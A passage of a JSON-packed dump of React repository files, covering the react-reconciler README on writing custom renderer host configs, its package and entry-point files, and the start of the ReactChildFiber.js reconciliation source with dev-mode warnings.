    "content": "# react-reconciler\n\nThis is an experimental package for creating custom React renderers.\n\n**Its API is not as stable as that of React, React Native, or React DOM, and does not follow the common versioning scheme.**\n\n**Use it at your own risk.**\n\n## Usage\n\n```js\nconst Reconciler = require('react-reconciler');\n\nconst HostConfig = {\n  // You'll need to implement some methods here.\n  // See below for more information and examples.\n};\n\nconst MyRenderer = Reconciler(HostConfig);\n\nconst RendererPublicAPI = {\n  render(element, container, callback) {\n    // Call MyRenderer.updateContainer() to schedule changes on the roots.\n    // See ReactDOM, React Native, or React ART for practical examples.\n  }\n};\n\nmodule.exports = RendererPublicAPI;\n```\n\n## Practical Examples\n\nA \"host config\" is an object that you need to provide, and that describes how to make something happen in the \"host\" environment (e.g. DOM, canvas, console, or whatever your rendering target is). It looks like this:\n\n```js\nconst HostConfig = {\n  createInstance(type, props) {\n    // e.g. DOM renderer returns a DOM node\n  },\n  // ...\n  supportsMutation: true, // it works by mutating nodes\n  appendChild(parent, child) {\n    // e.g. DOM renderer would call .appendChild() here\n  },\n  // ...\n};\n```\n\n**For an introduction to writing a very simple custom renderer, check out this article series:**\n\n* **[Building a simple custom renderer to DOM](https://medium.com/@agent_hunt/hello-world-custom-react-renderer-9a95b7cd04bc)**\n* **[Building a simple custom renderer to native](https://medium.com/@agent_hunt/introduction-to-react-native-renderers-aka-react-native-is-the-java-and-react-native-renderers-are-828a0022f433)**\n\nThe full list of supported methods [can be found here](https://github.com/facebook/react/blob/main/packages/react-reconciler/src/forks/ReactFiberConfig.custom.js). For their signatures, we recommend looking at specific examples below.\n\nThe React repository includes several renderers. Each of them has its own host config.\n\nThe examples in the React repository are declared a bit differently than a third-party renderer would be. In particular, the `HostConfig` object mentioned above is never explicitly declared, and instead is a *module* in our code. However, its exports correspond directly to properties on a `HostConfig` object you'd need to declare in your code:\n\n* [React ART](https://github.com/facebook/react/blob/main/packages/react-art/src/ReactART.js) and its [host config](https://github.com/facebook/react/blob/main/packages/react-art/src/ReactFiberConfigART.js)\n* [React DOM](https://github.com/facebook/react/blob/main/packages/react-dom/src/client/ReactDOM.js) and its [host config](https://github.com/facebook/react/blob/main/packages/react-dom-bindings/src/client/ReactFiberConfigDOM.js)\n* [React Native](https://github.com/facebook/react/blob/main/packages/react-native-renderer/src/ReactFabric.js) and its [host config](https://github.com/facebook/react/blob/main/packages/react-native-renderer/src/ReactFiberConfigFabric.js)\n\nIf these links break please file an issue and we’ll fix them. They intentionally link to the latest versions since the API is still evolving. If you have more questions please file an issue and we’ll try to help!\n\n## An (Incomplete!) Reference\n\nAt the moment, we can't commit to documenting every API detail because the host config still changes very often between the releases. The documentation below is **provided in the spirit of making our best effort rather than an API guarantee**. It focuses on the parts that don't change too often. This is a compromise that strikes a balance between the need for a fast-paced development of React itself, and the usefulness of this package to the custom renderer community. If you notice parts that are out of date or don't match how the latest stable update is behaving, please file an issue or send a pull request, although a response might take time.\n\n#### Modes\n\nThe reconciler has two modes: mutation mode and persistent mode. You must specify one of them.\n\nIf your target platform is similar to the DOM and has methods similar to `appendChild`, `removeChild`, and so on, you'll want to use the **mutation mode**. This is the same mode used by React DOM, React ART, and the classic React Native renderer.\n\n```js\nconst HostConfig = {\n  // ...\n  supportsMutation: true,\n  // ...\n}\n```\n\nIf your target platform has immutable trees, you'll want the **persistent mode** instead. In that mode, existing nodes are never mutated, and instead every change clones the parent tree and then replaces the whole parent tree at the root. This is the mode used by the new React Native renderer, codenamed \"Fabric\".\n\n```js\nconst HostConfig = {\n  // ...\n  supportsPersistence: true,\n  // ...\n}\n```\n\nDepending on the mode, the reconciler will call different methods on your host config.\n\nIf you're not sure which one you want, you likely need the mutation mode.\n\n#### Core Methods\n\n#### `createInstance(type, props, rootContainer, hostContext, internalHandle)`\n\nThis method should return a newly created node. For example, the DOM renderer would call `document.createElement(type)` here and then set the properties from `props`.\n\nYou can use `rootContainer` to access the root container associated with that tree. For example, in the DOM renderer, this is useful to get the correct `document` reference that the root belongs to.\n\nThe `hostContext` parameter lets you keep track of some information about your current place in the tree. To learn more about it, see `getChildHostContext` below.\n\nThe `internalHandle` data structure is meant to be opaque. If you bend the rules and rely on its internal fields, be aware that it may change significantly between versions. You're taking on additional maintenance risk by reading from it, and giving up all guarantees if you write something to it.\n\nThis method happens **in the render phase**. It can (and usually should) mutate the node it has just created before returning it, but it must not modify any other nodes. It must not register any event handlers on the parent tree. This is because an instance being created doesn't guarantee it would be placed in the tree — it could be left unused and later collected by GC. If you need to do something when an instance is definitely in the tree, look at `commitMount` instead.\n\n#### `createTextInstance(text, rootContainer, hostContext, internalHandle)`\n\nSame as `createInstance`, but for text nodes. If your renderer doesn't support text nodes, you can throw here.\n\n#### `appendInitialChild(parentInstance, child)`\n\nThis method should mutate the `parentInstance` and add the child to its list of children. For example, in the DOM this would translate to a `parentInstance.appendChild(child)` call.\n\nThis method happens **in the render phase**. It can mutate `parentInstance` and `child`, but it must not modify any other nodes. It's called while the tree is still being built up and not connected to the actual tree on the screen.\n\n#### `finalizeInitialChildren(instance, type, props, rootContainer, hostContext)`\n\nIn this method, you can perform some final mutations on the `instance`. Unlike with `createInstance`, by the time `finalizeInitialChildren` is called, all the initial children have already been added to the `instance`, but the instance itself has not yet been connected to the tree on the screen.\n\nThis method happens **in the render phase**. It can mutate `instance`, but it must not modify any other nodes. It's called while the tree is still being built up and not connected to the actual tree on the screen.\n\nThere is a second purpose to this method. It lets you specify whether there is some work that needs to happen when the node is connected to the tree on the screen. If you return `true`, the instance will receive a `commitMount` call later. See its documentation below.\n\nIf you don't want to do anything here, you should return `false`.\n\n#### `shouldSetTextContent(type, props)`\n\nSome target platforms support setting an instance's text content without manually creating a text node. For example, in the DOM, you can set `node.textContent` instead of creating a text node and appending it.\n\nIf you return `true` from this method, React will assume that this node's children are text, and will not create nodes for them. It will instead rely on you to have filled that text during `createInstance`. This is a performance optimization. For example, the DOM renderer returns `true` only if `type` is a known text-only parent (like `'textarea'`) or if `props.children` has a `'string'` type. If you return `true`, you will need to implement `resetTextContent` too.\n\nIf you don't want to do anything here, you should return `false`.\n\nThis method happens **in the render phase**. Do not mutate the tree from it.\n\n#### `getRootHostContext(rootContainer)`\n\nThis method lets you return the initial host context from the root of the tree. See `getChildHostContext` for the explanation of host context.\n\nIf you don't intend to use host context, you can return `null`.\n\nThis method happens **in the render phase**. Do not mutate the tree from it.\n\n#### `getChildHostContext(parentHostContext, type, rootContainer)`\n\nHost context lets you track some information about where you are in the tree so that it's available inside `createInstance` as the `hostContext` parameter. For example, the DOM renderer uses it to track whether it's inside an HTML or an SVG tree, because `createInstance` implementation needs to be different for them.\n\nIf the node of this `type` does not influence the context you want to pass down, you can return `parentHostContext`. Alternatively, you can return any custom object representing the information you want to pass down.\n\nIf you don't want to do anything here, return `parentHostContext`.\n\nThis method happens **in the render phase**. Do not mutate the tree from it.\n\n#### `getPublicInstance(instance)`\n\nDetermines what object gets exposed as a ref. You'll likely want to return the `instance` itself. But in some cases it might make sense to only expose some part of it.\n\nIf you don't want to do anything here, return `instance`.\n\n#### `prepareForCommit(containerInfo)`\n\nThis method lets you store some information before React starts making changes to the tree on the screen. For example, the DOM renderer stores the current text selection so that it can later restore it. This method is mirrored by `resetAfterCommit`.\n\nEven if you don't want to do anything here, you need to return `null` from it.\n\n#### `resetAfterCommit(containerInfo)`\n\nThis method is called right after React has performed the tree mutations. You can use it to restore something you've stored in `prepareForCommit` — for example, text selection.\n\nYou can leave it empty.\n\n#### `preparePortalMount(containerInfo)`\n\nThis method is called for a container that's used as a portal target. Usually you can leave it empty.\n\n#### `scheduleTimeout(fn, delay)`\n\nYou can proxy this to `setTimeout` or its equivalent in your environment.\n\n#### `cancelTimeout(id)`\n\nYou can proxy this to `clearTimeout` or its equivalent in your environment.\n\n#### `noTimeout`\n\nThis is a property (not a function) that should be set to something that can never be a valid timeout ID. For example, you can set it to `-1`.\n\n#### `supportsMicrotasks`\n\nSet this to true to indicate that your renderer supports `scheduleMicrotask`. We use microtasks as part of our discrete event implementation in React DOM. If you're not sure if your renderer should support this, you probably should. The option to not implement `scheduleMicrotask` exists so that platforms with more control over user events, like React Native, can choose to use a different mechanism.\n#### `scheduleMicrotask(fn)`\n\nOptional. You can proxy this to `queueMicrotask` or its equivalent in your environment.\n\n#### `isPrimaryRenderer`\n\nThis is a property (not a function) that should be set to `true` if your renderer is the main one on the page. For example, if you're writing a renderer for the Terminal, it makes sense to set it to `true`, but if your renderer is used *on top of* React DOM or some other existing renderer, set it to `false`.\n\n#### `getCurrentEventPriority`\n\nTo implement this method, you'll need some constants available on the special `react-reconciler/constants` entry point:\n\n```js\nimport {\n  DiscreteEventPriority,\n  ContinuousEventPriority,\n  DefaultEventPriority,\n} from 'react-reconciler/constants';\n\nconst HostConfig = {\n  // ...\n  getCurrentEventPriority() {\n    return DefaultEventPriority;\n  },\n  // ...\n}\n\nconst MyRenderer = Reconciler(HostConfig);\n```\n\nThe constant you return depends on which event, if any, is being handled right now. (In the browser, you can check this using `window.event && window.event.type`).\n\n* **Discrete events:** If the active event is _directly caused by the user_ (such as mouse and keyboard events) and _each event in a sequence is intentional_ (e.g. `click`), return `DiscreteEventPriority`. This tells React that they should interrupt any background work and cannot be batched across time.\n\n* **Continuous events:** If the active event is _directly caused by the user_ but _the user can't distinguish between individual events in a sequence_ (e.g. `mouseover`), return `ContinuousEventPriority`. This tells React they should interrupt any background work but can be batched across time.\n\n* **Other events / No active event:** In all other cases, return `DefaultEventPriority`. This tells React that this event is considered background work, and interactive events will be prioritized over it.\n\nYou can consult the `getCurrentEventPriority()` implementation in `ReactFiberConfigDOM.js` for a reference implementation.\n\n### Mutation Methods\n\nIf you're using React in mutation mode (you probably do), you'll need to implement a few more methods.\n\n#### `appendChild(parentInstance, child)`\n\nThis method should mutate the `parentInstance` and add the child to its list of children. For example, in the DOM this would translate to a `parentInstance.appendChild(child)` call.\n\nAlthough this method currently runs in the commit phase, you still should not mutate any other nodes in it. If you need to do some additional work when a node is definitely connected to the visible tree, look at `commitMount`.\n\n#### `appendChildToContainer(container, child)`\n\nSame as `appendChild`, but for when a node is attached to the root container. This is useful if attaching to the root has a slightly different implementation, or if the root container nodes are of a different type than the rest of the tree.\n\n#### `insertBefore(parentInstance, child, beforeChild)`\n\nThis method should mutate the `parentInstance` and place the `child` before `beforeChild` in the list of its children. For example, in the DOM this would translate to a `parentInstance.insertBefore(child, beforeChild)` call.\n\nNote that React uses this method both for insertions and for reordering nodes. Similar to DOM, it is expected that you can call `insertBefore` to reposition an existing child. Do not mutate any other parts of the tree from it.\n\n#### `insertInContainerBefore(container, child, beforeChild)`\n\nSame as `insertBefore`, but for when a node is attached to the root container. This is useful if attaching to the root has a slightly different implementation, or if the root container nodes are of a different type than the rest of the tree.\n\n#### `removeChild(parentInstance, child)`\n\nThis method should mutate the `parentInstance` to remove the `child` from the list of its children.\n\nReact will only call it for the top-level node that is being removed. It is expected that garbage collection would take care of the whole subtree. You are not expected to traverse the child tree in it.\n\n#### `removeChildFromContainer(container, child)`\n\nSame as `removeChild`, but for when a node is detached from the root container. This is useful if attaching to the root has a slightly different implementation, or if the root container nodes are of a different type than the rest of the tree.\n\n#### `resetTextContent(instance)`\n\nIf you returned `true` from `shouldSetTextContent` for the previous props, but returned `false` from `shouldSetTextContent` for the next props, React will call this method so that you can clear the text content you were managing manually. For example, in the DOM you could set `node.textContent = ''`.\n\nIf you never return `true` from `shouldSetTextContent`, you can leave it empty.\n\n#### `commitTextUpdate(textInstance, prevText, nextText)`\n\nThis method should mutate the `textInstance` and update its text content to `nextText`.\n\nHere, `textInstance` is a node created by `createTextInstance`.\n\n#### `commitMount(instance, type, props, internalHandle)`\n\nThis method is only called if you returned `true` from `finalizeInitialChildren` for this instance.\n\nIt lets you do some additional work after the node is actually attached to the tree on the screen for the first time. For example, the DOM renderer uses it to trigger focus on nodes with the `autoFocus` attribute.\n\nNote that `commitMount` does not mirror `removeChild` one to one because `removeChild` is only called for the top-level removed node. This is why ideally `commitMount` should not mutate any nodes other than the `instance` itself. For example, if it registers some events on some node above, it will be your responsibility to traverse the tree in `removeChild` and clean them up, which is not ideal.\n\nThe `internalHandle` data structure is meant to be opaque. If you bend the rules and rely on its internal fields, be aware that it may change significantly between versions. You're taking on additional maintenance risk by reading from it, and giving up all guarantees if you write something to it.\n\nIf you never return `true` from `finalizeInitialChildren`, you can leave it empty.\n\n#### `commitUpdate(instance, type, prevProps, nextProps, internalHandle)`\n\nThis method should mutate the `instance` to match `nextProps`.\n\nThe `internalHandle` data structure is meant to be opaque. If you bend the rules and rely on its internal fields, be aware that it may change significantly between versions. You're taking on additional maintenance risk by reading from it, and giving up all guarantees if you write something to it.\n\n#### `hideInstance(instance)`\n\nThis method should make the `instance` invisible without removing it from the tree. For example, it can apply visual styling to hide it. It is used by Suspense to hide the tree while the fallback is visible.\n\n#### `hideTextInstance(textInstance)`\n\nSame as `hideInstance`, but for nodes created by `createTextInstance`.\n\n#### `unhideInstance(instance, props)`\n\nThis method should make the `instance` visible, undoing what `hideInstance` did.\n\n#### `unhideTextInstance(textInstance, text)`\n\nSame as `unhideInstance`, but for nodes created by `createTextInstance`.\n\n#### `clearContainer(container)`\n\nThis method should mutate the `container` root node and remove all children from it.\n\n#### `maySuspendCommit(type, props)`\n\nThis method is called during render to determine if the Host Component type and props require some kind of loading process to complete before committing an update.\n\n#### `preloadInstance(type, props)`\n\nThis method may be called during render if the Host Component type and props might suspend a commit. It can be used to initiate any work that might shorten the duration of a suspended commit.\n\n#### `startSuspendingCommit()`\n\nThis method is called just before the commit phase. Use it to set up any necessary state while any Host Components that might suspend this commit are evaluated to determine if the commit must be suspended.\n\n#### `suspendInstance(type, props)`\n\nThis method is called after `startSuspendingCommit` for each Host Component that indicated it might suspend a commit.\n\n#### `waitForCommitToBeReady()`\n\nThis method is called after all `suspendInstance` calls are complete.\n\nReturn `null` if the commit can happen immediately.\n\nReturn `(initiateCommit: Function) => Function` if the commit must be suspended. The argument to this callback will initiate the commit when called. The return value is a cancellation function that the Reconciler can use to abort the commit.\n\n### Persistence Methods\n\nIf you use the persistent mode instead of the mutation mode, you would still need the \"Core Methods\". However, instead of the Mutation Methods above you will implement a different set of methods that performs cloning nodes and replacing them at the root level. You can find a list of them in the \"Persistence\" section [listed in this file](https://github.com/facebook/react/blob/main/packages/react-reconciler/src/forks/ReactFiberConfig.custom.js). File an issue if you need help.\n\n### Hydration Methods\n\nYou can optionally implement hydration to \"attach\" to the existing tree during the initial render instead of creating it from scratch. For example, the DOM renderer uses this to attach to an HTML markup.\n\nTo support hydration, you need to declare `supportsHydration: true` and then implement the methods in the \"Hydration\" section [listed in this file](https://github.com/facebook/react/blob/main/packages/react-reconciler/src/forks/ReactFiberConfig.custom.js). File an issue if you need help.\n"
  },
  {
    "path": "packages/react-reconciler/constants.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n'use strict';\n\nexport * from './src/ReactReconcilerConstants';\n"
  },
  {
    "path": "packages/react-reconciler/index.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport typeof * as ReconcilerAPI from './src/ReactFiberReconciler';\nimport typeof * as HostConfig from './src/ReactFiberConfig';\n\nexport * from './src/ReactFiberReconciler';\n\n// At build time, this module is wrapped as a factory function ($$$reconciler).\n// Consumers pass a host config object and get back the reconciler API.\ndeclare export default (hostConfig: HostConfig) => ReconcilerAPI;\n"
  },
  {
    "path": "packages/react-reconciler/npm/constants.js",
    "content": "'use strict';\n\nif (process.env.NODE_ENV === 'production') {\n  module.exports = require('./cjs/react-reconciler-constants.production.js');\n} else {\n  module.exports = require('./cjs/react-reconciler-constants.development.js');\n}\n"
  },
  {
    "path": "packages/react-reconciler/npm/index.js",
    "content": "'use strict';\n\nif (process.env.NODE_ENV === 'production') {\n  module.exports = require('./cjs/react-reconciler.production.js');\n} else {\n  module.exports = require('./cjs/react-reconciler.development.js');\n}\n"
  },
  {
    "path": "packages/react-reconciler/npm/reflection.js",
    "content": "'use strict';\n\nif (process.env.NODE_ENV === 'production') {\n  module.exports = require('./cjs/react-reconciler-reflection.production.js');\n} else {\n  module.exports = require('./cjs/react-reconciler-reflection.development.js');\n}\n"
  },
  {
    "path": "packages/react-reconciler/package.json",
    "content": "{\n  \"name\": \"react-reconciler\",\n  \"description\": \"React package for creating custom renderers.\",\n  \"version\": \"0.34.0\",\n  \"keywords\": [\n    \"react\"\n  ],\n  \"homepage\": \"https://react.dev/\",\n  \"bugs\": \"https://github.com/facebook/react/issues\",\n  \"license\": \"MIT\",\n  \"files\": [\n    \"LICENSE\",\n    \"README.md\",\n    \"constants.js\",\n    \"index.js\",\n    \"reflection.js\",\n    \"cjs/\"\n  ],\n  \"main\": \"index.js\",\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"https://github.com/facebook/react.git\",\n    \"directory\": \"packages/react-reconciler\"\n  },\n  \"engines\": {\n    \"node\": \">=0.10.0\"\n  },\n  \"peerDependencies\": {\n    \"react\": \"^19.3.0\"\n  },\n  \"dependencies\": {\n    \"scheduler\": \"^0.28.0\"\n  }\n}\n"
  },
  {
    "path": "packages/react-reconciler/reflection.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n'use strict';\n\nexport * from './src/ReactFiberTreeReflection';\n"
  },
  {
    "path": "packages/react-reconciler/src/ReactCapturedValue.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {Fiber} from './ReactInternalTypes';\n\nimport {getStackByFiberInDevAndProd} from './ReactFiberComponentStack';\n\nconst CapturedStacks: WeakMap<any, CapturedValue<any>> = new WeakMap();\n\nexport type CapturedValue<+T> = {\n  +value: T,\n  source: Fiber | null,\n  stack: string | null,\n};\n\nexport function createCapturedValueAtFiber<T>(\n  value: T,\n  source: Fiber,\n): CapturedValue<T> {\n  // If the value is an error, call this function immediately after it is thrown\n  // so the stack is accurate.\n  if (typeof value === 'object' && value !== null) {\n    const existing = CapturedStacks.get(value);\n    if (existing !== undefined) {\n      return existing;\n    }\n    const captured: CapturedValue<T> = {\n      value,\n      source,\n      stack: getStackByFiberInDevAndProd(source),\n    };\n    CapturedStacks.set(value, captured);\n    return captured;\n  } else {\n    return {\n      value,\n      source,\n      stack: getStackByFiberInDevAndProd(source),\n    };\n  }\n}\n\nexport function createCapturedValueFromError(\n  value: Error,\n  stack: null | string,\n): CapturedValue<Error> {\n  const captured = {\n    value,\n    source: null,\n    stack: stack,\n  };\n  if (typeof stack === 'string') {\n    CapturedStacks.set(value, captured);\n  }\n  return captured;\n}\n"
  },
  {
    "path": "packages/react-reconciler/src/ReactChildFiber.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {ReactElement} from 'shared/ReactElementType';\nimport type {\n  ReactPortal,\n  Thenable,\n  ReactContext,\n  ReactDebugInfo,\n  ReactComponentInfo,\n  SuspenseListRevealOrder,\n  ReactKey,\n  ReactOptimisticKey,\n} from 'shared/ReactTypes';\nimport type {Fiber} from './ReactInternalTypes';\nimport type {Lanes} from './ReactFiberLane';\nimport type {ThenableState} from './ReactFiberThenable';\n\nimport getComponentNameFromFiber from 'react-reconciler/src/getComponentNameFromFiber';\nimport {\n  Placement,\n  ChildDeletion,\n  Forked,\n  PlacementDEV,\n} from './ReactFiberFlags';\nimport {NoMode, ConcurrentMode} from './ReactTypeOfMode';\nimport {\n  getIteratorFn,\n  ASYNC_ITERATOR,\n  REACT_ELEMENT_TYPE,\n  REACT_FRAGMENT_TYPE,\n  REACT_PORTAL_TYPE,\n  REACT_LAZY_TYPE,\n  REACT_CONTEXT_TYPE,\n  REACT_LEGACY_ELEMENT_TYPE,\n  REACT_OPTIMISTIC_KEY,\n} from 'shared/ReactSymbols';\nimport {\n  HostRoot,\n  HostText,\n  HostPortal,\n  Fragment,\n  FunctionComponent,\n} from './ReactWorkTags';\nimport isArray from 'shared/isArray';\nimport {\n  enableAsyncIterableChildren,\n  disableLegacyMode,\n  enableFragmentRefs,\n  enableOptimisticKey,\n} from 'shared/ReactFeatureFlags';\n\nimport {\n  createWorkInProgress,\n  resetWorkInProgress,\n  createFiberFromElement,\n  createFiberFromFragment,\n  createFiberFromText,\n  createFiberFromPortal,\n  createFiberFromThrow,\n} from './ReactFiber';\nimport {isCompatibleFamilyForHotReloading} from './ReactFiberHotReloading';\nimport {getIsHydrating} from './ReactFiberHydrationContext';\nimport {pushTreeFork} from './ReactFiberTreeContext';\nimport {\n  SuspenseException,\n  SuspenseActionException,\n  createThenableState,\n  trackUsedThenable,\n  resolveLazy,\n} from './ReactFiberThenable';\nimport {readContextDuringReconciliation} from './ReactFiberNewContext';\n\nimport {runWithFiberInDEV} from './ReactCurrentFiber';\n\n// This tracks the thenables that are unwrapped during reconcilation.\nlet thenableState: ThenableState | null = null;\nlet thenableIndexCounter: number = 0;\n\n// Server Components Meta Data\nlet currentDebugInfo: null | ReactDebugInfo = null;\n\nfunction pushDebugInfo(\n  debugInfo: null | ReactDebugInfo,\n): null | ReactDebugInfo {\n  if (!__DEV__) {\n    return null;\n  }\n  const previousDebugInfo = currentDebugInfo;\n  if (debugInfo == null) {\n    // Leave inplace\n  } else if (previousDebugInfo === null) {\n    currentDebugInfo = debugInfo;\n  } else {\n    // If we have two debugInfo, we need to create a new one. This makes the array no longer\n    // live so we'll miss any future updates if we received more so ideally we should always\n    // do this after both have fully resolved/unsuspended.\n    currentDebugInfo = previousDebugInfo.concat(debugInfo);\n  }\n  return previousDebugInfo;\n}\n\nfunction getCurrentDebugTask(): null | ConsoleTask {\n  // Get the debug task of the parent Server Component if there is one.\n  if (__DEV__) {\n    const debugInfo = currentDebugInfo;\n    if (debugInfo != null) {\n      for (let i = debugInfo.length - 1; i >= 0; i--) {\n        if (debugInfo[i].name != null) {\n          const componentInfo: ReactComponentInfo = debugInfo[i];\n          const debugTask: ?ConsoleTask = componentInfo.debugTask;\n          if (debugTask != null) {\n            return debugTask;\n          }\n        }\n      }\n    }\n  }\n  return null;\n}\n\nlet didWarnAboutMaps;\nlet didWarnAboutGenerators;\nlet ownerHasKeyUseWarning;\nlet ownerHasFunctionTypeWarning;\nlet ownerHasSymbolTypeWarning;\nlet warnForMissingKey = (\n  returnFiber: Fiber,\n  workInProgress: Fiber,\n  child: mixed,\n) => {};\n\nif (__DEV__) {\n  didWarnAboutMaps = false;\n  didWarnAboutGenerators = false;\n\n  /**\n   * Warn if there's no key explicitly set on dynamic arrays of children or\n   * object keys are not valid. This allows us to keep track of children between\n   * updates.\n   */\n  ownerHasKeyUseWarning = ({}: {[string]: boolean});\n  ownerHasFunctionTypeWarning = ({}: {[string]: boolean});\n  ownerHasSymbolTypeWarning = ({}: {[string]: boolean});\n\n  warnForMissingKey = (\n    returnFiber: Fiber,\n    workInProgress: Fiber,\n    child: mixed,\n  ) => {\n    if (child === null || typeof child !== 'object') {\n      return;\n    }\n    if (\n      !child._store ||\n      ((child._store.validated || child.key != null) &&\n        child._store.validated !== 2)\n    ) {\n      return;\n    }\n\n    if (typeof child._store !== 'object') {\n      throw new Error(\n        'React Component in warnForMissingKey should have a _store. ' +\n          'This error is likely caused by a bug in React. Please file an issue.',\n      );\n    }\n\n    // $FlowFixMe[cannot-write] unable to narrow type from mixed to writable object\n    child._store.validated = 1;\n\n    const componentName = getComponentNameFromFiber(returnFiber);\n\n    const componentKey = componentName || 'null';\n    if (ownerHasKeyUseWarning[componentKey]) {\n      return;\n    }\n    ownerHasKeyUseWarning[componentKey] = true;\n\n    const childOwner = child._owner;\n    const parentOwner = returnFiber._debugOwner;\n\n    let currentComponentErrorInfo = '';\n    if (parentOwner && typeof parentOwner.tag === 'number') {\n      const name = getComponentNameFromFiber((parentOwner: any));\n      if (name) {\n        currentComponentErrorInfo =\n          '\\n\\nCheck the render method of `' + name + '`.';\n      }\n    }\n    if (!currentComponentErrorInfo) {\n      if (componentName) {\n        currentComponentErrorInfo = `\\n\\nCheck the top-level render call using <${componentName}>.`;\n      }\n    }\n\n    // Usually the current owner is the offender, but if it accepts children as a\n    // property, it may be the creator of the child that's responsible for\n    // assigning it a key.\n    let childOwnerAppendix = '';\n    if (childOwner != null && parentOwner !== childOwner) {\n      let ownerName = null;\n      if (typeof childOwner.tag === 'number') {\n        ownerName = getComponentNameFromFiber((childOwner: any));\n      } else if (typeof childOwner.name === 'string') {\n        ownerName = childOwner.name;\n      }\n      if (ownerName) {\n        // Give the component that originally created this child.\n        childOwnerAppendix = ` It was passed a child from ${ownerName}.`;\n      }\n    }\n\n    runWithFiberInDEV(workInProgress, () => {\n      console.error(\n        'Each child in a list should have a unique \"key\" prop.' +\n          '%s%s See https://react.dev/link/warning-keys for more information.',\n        currentComponentErrorInfo,\n        childOwnerAppendix,\n      );\n    });\n  };\n}\n\n// Given a fragment, validate that it can only be provided with fragment props\n// We do this here instead of BeginWork because the Fragment fiber doesn't have\n// the whole props object, only the children and is shared with arrays.\nfunction validateFragmentProps(\n  element: ReactElement,\n  fiber: null | Fiber,\n  returnFiber: Fiber,\n) {\n  if (__DEV__) {\n    const keys = Object.keys(element.props);\n    for (let i = 0; i < keys.length; i++) {\n      const key = keys[i];\n      if (\n        key !== 'children' &&\n        key !== 'key' &&\n        (enableFragmentRefs ? key !== 'ref' : true)\n      ) {\n        if (fiber === null) {\n          // For unkeyed root fragments without refs (enableFragmentRefs),\n          // there's no Fiber. We create a fake one just for error stack handling.\n          fiber = createFiberFromElement(element, returnFiber.mode, 0);\n          if (__DEV__) {\n            fiber._debugInfo = currentDebugInfo;\n          }\n          fiber.return = returnFiber;\n        }\n        runWithFiberInDEV(\n          fiber,\n          erroredKey => {\n            if (enableFragmentRefs) {\n              console.error(\n                'Invalid prop `%s` supplied to `React.Fragment`. ' +\n                  'React.Fragment can only have `key`, `ref`, and `children` props.',\n                erroredKey,\n              );\n            } else {\n              console.error(\n                'Invalid prop `%s` supplied to `React.Fragment`. ' +\n                  'React.Fragment can only have `key` and `children` props.',\n                erroredKey,\n              );\n            }\n          },\n          key,\n        );\n        break;\n      }\n    }\n  }\n}\n\nfunction unwrapThenable<T>(thenable: Thenable<T>): T {\n  const index = thenableIndexCounter;\n  thenableIndexCounter += 1;\n  if (thenableState === null) {\n    thenableState = createThenableState();\n  }\n  return trackUsedThenable(thenableState, thenable, index);\n}\n\nfunction coerceRef(workInProgress: Fiber, element: ReactElement): void {\n  // TODO: This is a temporary, intermediate step. Now that enableRefAsProp is on,\n  // we should resolve the `ref` prop during the begin phase of the component\n  // it's attached to (HostComponent, ClassComponent, etc).\n  const refProp = element.props.ref;\n  // TODO: With enableRefAsProp now rolled out, we shouldn't use the `ref` field. We\n  // should always read the ref from the prop.\n  workInProgress.ref = refProp !== undefined ? refProp : null;\n}\n\nfunction throwOnInvalidObjectTypeImpl(returnFiber: Fiber, newChild: Object) {\n  if (newChild.$$typeof === REACT_LEGACY_ELEMENT_TYPE) {\n    throw new Error(\n      'A React Element from an older version of React was rendered. ' +\n        'This is not supported. It can happen if:\\n' +\n        '- Multiple copies of the \"react\" package is used.\\n' +\n        '- A library pre-bundled an old copy of \"react\" or \"react/jsx-runtime\".\\n' +\n        '- A compiler tries to \"inline\" JSX instead of using the runtime.',\n    );\n  }\n\n  // $FlowFixMe[method-unbinding]\n  const childString = Object.prototype.toString.call(newChild);\n\n  throw new Error(\n    `Objects are not valid as a React child (found: ${\n      childString === '[object Object]'\n        ? 'object with keys {' + Object.keys(newChild).join(', ') + '}'\n        : childString\n    }). ` +\n      'If you meant to render a collection of children, use an array ' +\n      'instead.',\n  );\n}\n\nfunction throwOnInvalidObjectType(returnFiber: Fiber, newChild: Object) {\n  const debugTask = getCurrentDebugTask();\n  if (__DEV__ && debugTask !== null) {\n    debugTask.run(\n      throwOnInvalidObjectTypeImpl.bind(null, returnFiber, newChild),\n    );\n  } else {\n    throwOnInvalidObjectTypeImpl(returnFiber, newChild);\n  }\n}\n\nfunction warnOnFunctionTypeImpl(returnFiber: Fiber, invalidChild: Function) {\n  if (__DEV__) {\n    const parentName = getComponentNameFromFiber(returnFiber) || 'Component';\n\n    if (ownerHasFunctionTypeWarning[parentName]) {\n      return;\n    }\n    ownerHasFunctionTypeWarning[parentName] = true;\n\n    const name = invalidChild.displayName || invalidChild.name || 'Component';\n\n    if (returnFiber.tag === HostRoot) {\n      console.error(\n        'Functions are not valid as a React child. This may happen if ' +\n          'you return %s instead of <%s /> from render. ' +\n          'Or maybe you meant to call this function rather than return it.\\n' +\n          '  root.render(%s)',\n        name,\n        name,\n        name,\n      );\n    } else {\n      console.error(\n        'Functions are not valid as a React child. This may happen if ' +\n          'you return %s instead of <%s /> from render. ' +\n          'Or maybe you meant to call this function rather than return it.\\n' +\n          '  <%s>{%s}</%s>',\n        name,\n        name,\n        parentName,\n        name,\n        parentName,\n      );\n    }\n  }\n}\n\nfunction warnOnFunctionType(returnFiber: Fiber, invalidChild: Function) {\n  const debugTask = getCurrentDebugTask();\n  if (__DEV__ && debugTask !== null) {\n    debugTask.run(warnOnFunctionTypeImpl.bind(null, returnFiber, invalidChild));\n  } else {\n    warnOnFunctionTypeImpl(returnFiber, 